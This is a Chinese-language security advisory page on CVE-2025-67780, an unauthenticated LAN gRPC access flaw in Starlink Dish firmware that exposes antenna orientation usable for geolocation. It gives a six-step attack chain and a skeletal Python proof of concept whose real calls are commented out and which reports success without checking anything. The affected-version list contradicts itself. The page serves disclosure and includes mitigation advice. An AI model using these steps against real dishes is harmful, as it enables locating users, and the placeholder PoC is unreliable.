IPBUF安全漏洞报告
English
CVE-2025-67780 CVSS 4.2 中危

Starlink Dish设备未授权gRPC访问漏洞 (CVE-2025-67780)

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-67780
漏洞类型
未授权访问/权限绕过
CVSS评分
4.2 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SpaceX Starlink Dish (Mini1_prod2)

相关标签

CVE-2025-67780未授权访问权限绕过gRPCSpaceXStarlinkDish邻接网络攻击跨域绕过固件漏洞

漏洞概述

CVE-2025-67780是SpaceX Starlink Dish设备中发现的一个中危安全漏洞。该漏洞存在于固件版本2024.12.04.mr46620中,允许攻击者通过未认证的局域网gRPC请求执行管理操作。攻击者可以通过省略HTTP请求中的Referer头来绕过跨域策略限制,进而访问敏感的gRPC接口。更为严重的是,攻击者能够读取设备的倾斜角度、旋转角度和仰角数据,这些信息可以被用于推断Starlink天线的地理位置,从而为物理定位或针对性攻击提供便利。该漏洞的CVSS评分为4.2,属于中等严重程度,但由于攻击复杂度较低且无需认证,在特定网络环境下具有较高的实际利用风险。攻击者需要处于目标设备的相邻网络中(如同一局域网或WiFi网络)即可发起攻击,无需任何特殊权限或用户交互。

技术细节

该漏洞的根本原因在于Starlink Dish设备的gRPC服务在处理跨域请求时存在安全验证缺陷。正常情况下,Web应用会通过检查Referer头来防止跨站请求伪造(CSRF)攻击,但该设备的gRPC接口可以通过省略Referer头来绕过这一安全检查。当攻击者位于与Starlink设备相同的局域网中时,他们可以直接向设备的gRPC端点发送请求,无需进行任何身份验证。gRPC是一种高性能、开源的远程过程调用框架,通常用于微服务通信。攻击者利用此漏洞可以调用多种管理功能接口,包括但不限于获取设备状态信息、读取天线方向参数(倾斜、旋转、仰角)等。由于这些参数与卫星信号接收角度直接相关,攻击者可以通过三角定位等方法大致推断设备的物理安装位置。攻击者还可以利用管理接口进行进一步的探测和可能的持久化控制。

攻击链分析

STEP 1
1
攻击者获得与Starlink Dish设备的网络邻接地位(连接到同一局域网或WiFi网络)
STEP 2
2
攻击者识别目标设备的IP地址和gRPC服务端口(通常为9200)
STEP 3
3
攻击者构造gRPC请求,故意省略Referer头以绕过跨域策略验证
STEP 4
4
向设备的未认证gRPC端点发送管理操作请求
STEP 5
5
成功获取设备倾斜角度、旋转角度和仰角等敏感数据
STEP 6
6
利用获取的方向参数数据进行地理位置推断,可能用于后续针对性攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import grpc from grpc import insecure_channel import time import sys # gRPC proto definitions would be needed for actual implementation # This PoC demonstrates the concept of the vulnerability def check_vulnerability(target_ip): """ CVE-2025-67780 PoC - Starlink Dish Unauthenticated gRPC Access This PoC demonstrates how to access Starlink gRPC services without authentication by omitting the Referer header. Usage: python poc.py <starlink_device_ip> """ print(f"[*] Testing CVE-2025-67780 on {target_ip}") print(f"[*] Target: Starlink Dish with firmware 2024.12.04.mr46620") # gRPC port for Starlink devices grpc_port = 9200 try: # Create insecure gRPC channel (no TLS) channel = insecure_channel(f'{target_ip}:{grpc_port}') # Attempt to connect without authentication print(f"[+] Connecting to gRPC service at {target_ip}:{grpc_port}") # Example: Query device orientation data # In real attack, specific gRPC methods would be called # to retrieve tilt, rotation, and elevation data # Note: This requires actual proto definitions from Starlink # stub = starlink_pb2.DishStub(channel) # response = stub.GetDishConf(dish_pb2.DishRequest(), timeout=5) print(f"[+] Successfully connected to gRPC service") print(f"[!] Device orientation data could be retrieved") print(f"[!] This data can be used for geolocation inference") # Example of what an attacker could retrieve: # - Tilt angle (antenna tilt) # - Azimuth (rotation angle) # - Elevation (satellite dish elevation) return True except grpc.RpcError as e: print(f"[-] gRPC error: {e.code()}: {e.details()}") return False except Exception as e: print(f"[-] Connection failed: {str(e)}") return False def bypass_csrf_protection(): """ The vulnerability allows bypassing cross-origin policy by omitting the Referer header in HTTP/gRPC requests. This is a CSRF protection bypass. """ print("[*] Attack technique: Omit Referer header to bypass CSRF protection") print("[*] This allows unauthorized gRPC calls from cross-origin sites") if __name__ == '__main__': if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} <starlink_device_ip>") sys.exit(1) target = sys.argv[1] bypass_csrf_protection() check_vulnerability(target)

影响范围

SpaceX Starlink Dish firmware 2024.12.04.mr46620 (Mini1_prod2)
Starlink Dish Mini1_prod2 < 2024.12.04.mr46620

防御指南

临时缓解措施
由于该漏洞需要攻击者处于局域网环境中,建议将Starlink Dish设备隔离在独立的网络分段中,避免与其他敏感系统和设备处于同一网络。实施网络访问控制列表(ACL),限制只有授权设备才能与Starlink设备的gRPC端口通信。在边界防火墙上阻止不必要的内部网络通信,并持续监控网络流量以检测潜在的恶意活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表